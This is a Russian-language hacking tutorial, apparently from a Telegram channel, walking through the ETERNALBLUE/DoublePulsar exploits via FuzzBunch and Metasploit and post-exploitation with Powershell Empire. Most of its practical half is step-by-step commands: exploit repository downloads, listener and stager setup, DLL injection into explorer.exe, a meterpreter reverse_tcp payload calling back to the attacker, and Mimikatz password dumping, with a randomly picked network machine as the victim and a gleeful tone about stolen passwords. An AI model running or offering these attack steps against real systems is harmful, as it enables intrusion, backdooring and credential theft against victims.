Обзор инструмента Powershell Empire и пример атаки на ETERNALBLUE
https://t.me/w2hackIntro
Kali Linux является базовым дистрибутивом для пен-тестера проводящего аудит защищенности корпоративной ИТ-инфраструктуры. Но, не смотря на то, что в Kali до хера всяких тулз, туда не всегда попадает трушное хакерское ПО, как-то, к примеру, эксплойт паки и отдельные фреймворки. Их нужно доставлять отдельно ручками. И то очень сильно расширяет возможности эксперта по тестированию.
В сегодняшней статье речь пойдет об инструментах Powershell Empire, FuzzBunch и DoublePulsar, которые очень сильно нашумели в прошлом году спровоцирован массовые вирусные эпидемии шифровальщиков Wannacry, Petya, BadRabbit, а сейчас продолжают юзаться, к примеру, для майнинга. Ну, что, будет очень много практики! Гоу!)
С чего все началось?
Известная хакерская группировка The Shadow Brokers прервала свое долгое молчание и вернулась с новым дампом. По мнению многих ИБ=экспертов еще летом 2016 года The Shadow Brokers удалось похитить инструментарий спецслужб, и долгое время хакеры пытались продать его на черном рынке, а теперь, по всей видимости, готовы опубликовать бесплатно.
Новый дамп, опубликованный 14 апреля 2017 года, получил название «Трудности перевода» (Lost in Translation). Представленные «Трудности перевода» преимущественно содержит тулзы для систем семейства Windows, а также якобы и доказательства того, что Equation Group имела доступ к серверам сервисных бюро, связанных с международной банковской системой SWIFT, и шпионила за рядом финансовых учреждений из разных стран мира.
Исследователи уже загрузили содержимое дампа на GitHub и опубликовали полный список содержащихся в нем файлов. Так, новый архив содержит три папки: Windows, Swift и OddJob. В них можно найти следующие инструменты: OddJob, EasyBee, EternalRomance, FuzzBunch, EducatedScholar, EskimoRoll, EclipsedWing, EsteemAudit, EnglishMansDentist, MofConfig, ErraticGopher, EmphasisMine, EmeraldThread, EternalSynergy, EwokFrenzy, ZippyBeer, ExplodingCan, DoublePulsar и так далее.
Что такое Powershell Empire?
Тулза Powershell Empire (GutHub, Web-версия) предоставляет модульную платформу для пост-эксплуатации ОС Windows, используя возможности всем известного средства системного шелла - PowerShell.
Пайлоды Empire агенты полностью работают в оперативной памяти и их сложно детектировать средствами защиты, такими как классические антивирусы и системамы предотвращения вторжений (IDS\IPS) из-за того, что они написаны на скриптовом языке и во время выполнения между агентом и антивирусным ПО стоит интерпретатор скриптового языка, в отличие от классических пайлоадов, скомпилированных в ассемблер и исполняемый файл (EXE-шник).
Что такое ETERNALBLUE ?
EternalBlue (CVE-2017-0144) — кодовое имя эксплойта, эксплуатирующего компьютерную уязвимость в Windows-реализации протокола SMB, к разработке которого, как считается, причастно Агентство национальной безопасности (США). Секретные сведения об уязвимости и исполняемый код эксплойта были опубликованы хакерской группой The Shadow Brokers 14 апреля 2017 года. Уязвимость была использована при распространении вредоносного ПО WannaCry в мае 2017 года, а также при распространении Petya в июне 2017 года.
Эксплоит EternalBlue использует уязвимость в реализации протокола Server Message Block v1 (SMB). Злоумышленник, сформировав и передав на удалённый узел особым образом подготовленный пакет, способен получить удалённый доступ к системе и запустить на ней произвольный код.
Дополнительная информация об эксплойте:
Как при помощи эксплоита ETERNALBLUE получить сессию в METERPRETER
Уязвимые к EternalBlue системы застряли в бесконечной петле заражений
Майнер PowerGhost использует эксплоит EternalBlue и бесфайловые техники атак
Авторы Gh0st RAT и Nitol взяли на вооружение эксплоит EternalBlue
Криптовалютный майнер CoinMiner распространяется посредством EternalBlue и WMI
Что такое DoublePulsar?
DoublePulsar — это бэкдор, разработанный группировкой Equation Group (предположительно являющейся подразделением АНБ) и опубликованный хакерской группой The Shadow Brokers в начале 2017 года. Этот инструмент смог заразить более 500 000 компьютеров под управлением ОС семейства Microsoft Windows всего за несколько недель. Вредоносная программа доставляется через TCP-порт 445 с помощью эксплойта EternalBlue, использующего уязвимость в реализации протокола SMB (Server Message Block). После публикации сведений об уязвимости, группа хакеров 12 мая 2017 г. выпустила в сеть вирусную программу WannaCry, представляющую собой сетевого червя-вымогателя.
DoublePulsar работает в режиме ядра, который предоставляет хакерам высокий уровень контроля над компьютерной системой. После установки доступны три команды: ping, kill и exec, последняя из которых, вероятнее всего, может быть использована для загрузки вредоносного ПО в систему.
Практика
1. Устанавливаем Powershell Empire в систему
Идем на гитхаб и скачиваем тулузу Empire. Далее запускаем инсталляционный скрипт Empire/setup/install.sh для установки зависимостей в нашу систему. После так же запускаем скрипт для инициализации базы данных, наспианный на питоне Empire/setup/setup_database.py
Это, все! Установка в нашу систему завершена. Следующим шагом приступаем к запуску тулзы!
2. Запуск Powershell Empire и коннект до машины жертвы
Запускаем наш фреймворк следующим скриптом в терминале ./empire и попадаем в главное меню (см. рисунок ниже)
Для начала основные понятия, с которыми нам придется столкнуться при работе с фреймворком - это listener, stager и agent. И так, чуть подробнее о них:
Listener – локальные IP адрес и порт, к которым должен подключаться агент при успешном выполнении на стороне жертвы.
Командой listeners переходим в режим конфигурирования листнера и создаем новый листнер, к примеру, по адресу 192.168.1.3:8080
Как видим, порт теперь прослушивается:
Stager – это способ доставки Powershell Empire агента на машину жертвы. По аналогии с фреймворком Metasploit, существует stage0 и stage1, где будем считать, что stage0 – способ доставки Empire агента, а stage1 – сам агент.
Командой usestager можно выбрать следующие варианты для stage0 (далее стейджер):
Самый распространенный стейджер – launcher, выберем его и настроим на подключение к листнеру test, который мы создали на предыдущем шаге.
Далее нам нужно настроить некоторые параметры для стейджера:
В частности опция Proxy по умолчанию выставлена в default, что означает использование системных настроек прокси на стороне жертвы.
Командой generate создается стейджер типа "launcher".
В итоге этот стейнджер представляет собой закодированную powershell команду в base64 (вики), которую необходимо выполнить на стороне жертвы.
Альтернативным способом генерации stage0 команды для стейджера launcher может быть команда
launcher [имя_листнера] из меню listeners.
Есть и другие стейджеры, которые могут быть использованы в зависимости от ситуации. Перечислим основные из них.
launcher_bat – агент доставляется на машину жертвы при запуске bat-файла.
launcher_vbs – агент доставляется на машину жертвы при выполнении vbs-скрипта.
macro – будет сгенерирован код для макроса, который можно внедрить в документ MS Office.
dll – запуск powershell агента внутри процесса, отличного от powershell.exe при помощи техники Reflective DLL loading.
Так стейджер dll позволяет интегрировать Empire с фреймворком Metasploit и другими современными инструментами. Охуенно!:) Напрмиер, при помощи эксплойта требуется провести инъекцию вредоносной DLL в атакованный процесс, после чего произойдет загрузка Empire агента в оперативную память машины жертвы и его выполнение.
Запустим сгенерированный код нашего стейджера launcher на машине «жертве»:
На машине атакующего в интерфейсе Empire видим сообщение:
Что это значит!? Агент поднялся на машине жертвы! Теперь можем пайлодить)) Для удобства можно переименовать агента:
Далее, для перехода в режим взаимодействия, выполним команду interact и при помощи команды help увидим доступные опции (ведь все команды помнить на память невозможно):
3. Удар по жертве
После получения активной сессии с агентом нам доступно множество команд. Документацию по всем возможностям фреймворка можно найти на официальном сайте. там же есть демо с описанием и видео (вот так "хак" приходит в массы!:)
Как видно из выше предоставленного скрина все модули разбиты на группы. В качестве примера продемонстрируем работу нескольких модулей.
И так, модуль credentials/powerdump для сбора хэшей пользователей. Ваууу!
Запуск mimikatz из меню агента Empire
Получили пароль в открытом виде от поставщика WDijest
Добавляем фреймворк FuzzBunch
Как было уже описано выше 14 апреля 2017 года был опубликован новый дамп от группы хакеров, именующих себя The Shadow Brokers. Среди прочего в дампе находится фреймворк FuzzBunch, позволяющий эксплуатировать опасные RCE-уязвимости ОС Windows практически в автоматическом режиме. Основная порция обнародованных уязвимостей описана в бюллетене от Microsoft MS17-010.
4. Установка FuzzBunch в нашу систему
Для установки FuzzBunch вам понадобится либо 32-битная Windows машина (да, да, те самые "окна"), либо стандартный дистр Kali Linux с установленным окружением Wine. Для демонстрации мы воспользуемся вторым вариантом, чтобы оба инструмента, Empire и FuzzBunch, находились в одном дистрибутиве. И так, погнали! Загрузим файлы на свою машину Kali Linux с github
git clone github.com/fuzzbunch/fuzzbunch.git
Для работы FuzzBunch Нам потребуется скриптовый движок Python 2.6 и, чтобы не захламлять ваше основное окружение Wine, я рекомендую создать новое. Для начала устанавливаем/обновляем Wine, если вы этого еще не сделали.
apt-get instal wine winbind
Создаем и инициализируем новое окружение:
mkdir ~/.wine_fuzzbunch WINEPREFIX="/root/.wine_fuzzbunch/" winecfg
Все настройки оставляем все без изменения:
export WINEPREFIX=/root/.wine_fuzzbunch/
Проверяем, что окружение создалось успешно:
Устанавливаем fuzzbunch в окружение Wine:
mkdir -p ~/.wine_fuzzbunch/drive_c/nsa/windows cd ~/.wine/drive_c/nsa/windows cp -R [ваш_каталог_с_fuzzbunch]/* . wget https://www.python.org/ftp/python/2.6/python-2.6.msi wget https://downloads.sourceforge.net/project/pywin32/pywin32/Build%20219/pywin32-219.win32-py2.6.exe?r=&ts=1493192168&use_mirror=netcologne
Устанавливаем Python
wine msiexec /i python-2.6.msi
Устанавливаем pywin32
wine pywin32-219.win32-py2.6.exe
Постинсталляция:
wine cmd.exe cd C:\Python26\Scripts python pywin32_postinstall.py -install cd C:\nsa\windows mkdir listeningposts
5. Запуск FuzzBunch и пример эксплуатация бага MS17-010
Из окружения Wine выполняем следующую команду:
Будем атаковать 64-х битную Windows 7 машину с IP адресом 192.168.1.10, в то время как машина атакующего имеет IP адрес 192.168.1.3.
Задаем эти параметры при запуске FuzzBunch на нашей машине. Для выполнения вредоносного кода будем использовать уязвимость в протоколе SMB, которая носит название Eternalblue (ага, тот самый эксплойт).
use Eternalblue
На вопрос о проверке параметров отвечаем утвердительно:
Оставляем все без изменения, кроме пункта о методе доставки. Тут выбираем FB (вариант №1).
В завершении запускаем модуль на выполнение и видим сообщение Eternalblue Succeeded.
6. Бонус! Постэксплуатация в связке с Powershell Empire
Запускаем Powershell Empire и создаем новый листенер, как мы желали это раньше:
В качестве механизма доставки агента используем на этот раз инжекты в dll. Если бы вы использовали Empire на отдельной машине, то для доставки стейджера на машину с FuzzBunch будет удобно сохранить его в каталог веб-сервера и затем скачать по сети.
Если у вас и Powershell Empire и FuzzBunch на одной машине, как в моем случае, то сохраняем файл в корень диска C:\ окружения Wine.
Переходим снова в FuzzBunch, где открыта сессия с машиной жертвы, и используем модуль DoublePulsar.
use DoublePulsar
Выбираем 64-битную архитектуру:
В качестве пейлоада мы будем инжектировать DLL, созданную в Empire.
Указываем полный путь до DLL - C:\launcher.dll:
Выполняем модуль и смотрим как стартует DoublePulsar:
В интерфейсе Empire получаем новую сессию и выполняем Mimikatz (пиздилка паролей).
Получаем логины и пароли пользователей. Заебись!:)
Все друзья, бэкдор DoublePulsar внедрен в системный процесс нашей жертвы! Фактически это руткит! Мы поимели пароли, саму Windows и дальше можем делать, что хотим!
Пример с использованием Metasplot
Этот эксплоит представляет собой комбинацию из двух инструментов Eternal Blue, которая используется как backdooring для Windows-систем и Doublepulsar, которая используется для инъекции DLL-файла с помощью полезной нагрузки. Таким образом, мы вручную добавим этот эксплойт в базу данных metasploit и проведем атаку. ̶
Р̶а̶з̶н̶о̶с̶и̶м̶ ̶в̶с̶е̶ ̶к̶ ̶х̶у̶я̶м̶!̶ Начинаем!
1 . Ставим wine (если у вас еще не установлен)
apt-get update apt-get install wine
Набираем команду что бы пропалить тачки в сети:
netdiscover
В качестве жертвы выбираем случайную машинку с IP-адресом: 192.168.0.102
2. Юзаем Metasploit для скана необходимой нам уязвимости
service postgresql start msfconsole use auxiliary/scanner/smb/smb_ms17_010 options set RHOSTS 192.168.0.102 exploit
3. Качаем репо и добавляем eternalblue_doublepulsar в Metasploit
cd Desktop/ git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git cd Eternalblue-Doublepulsar-Metasploit cp eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
Теперь перезагружаем фреймворк, что бы все апдейты стали доступны для использования:
reload_all
Выбирем эксплойт и запускаем опции
use exploit/windows/smb/eternalblue_doublepulsar options
Устанавливаем необходимые опции
set DOUBLEPULSARPATH /root/Desktop/Eternalblue-Doublepulsar-Metasploit/deps set ETERNALBLUEPATH /root/Desktop/Eternalblue-Doublepulsar-Metasploit/deps options
Далее указываем нашу цель и ебашим!
set PROCESSINJECT explorer.exe set RHOST 192.168.0.102 set TARGETARCHITECTURE x86
Набиранием команды просмотра цели
show targets set target 9
Сетаем пайлод и вызываем реверс шелл
set PAYLOAD windows/meterpreter/reverse_tcp ifconfig set LHOST 192.168.0.106
Это адрес моей Kali машины 192.168.0.106
И запускаем эксплойт! Команда:
exploit
Собственно говоря на этом все! Ты увидел сегодня несколько способов использования нашумевших эксплойтов для атаки на уязвимые Windows системы! Поэтому не забывай ставить пачти (хотя бы security update), юзай IDS\IPS и всегда будь на чеку!
Всех хорошего настроения! Берегите себя, своих близких и свои данные! Следите за обновлениями на нашем w2hack канале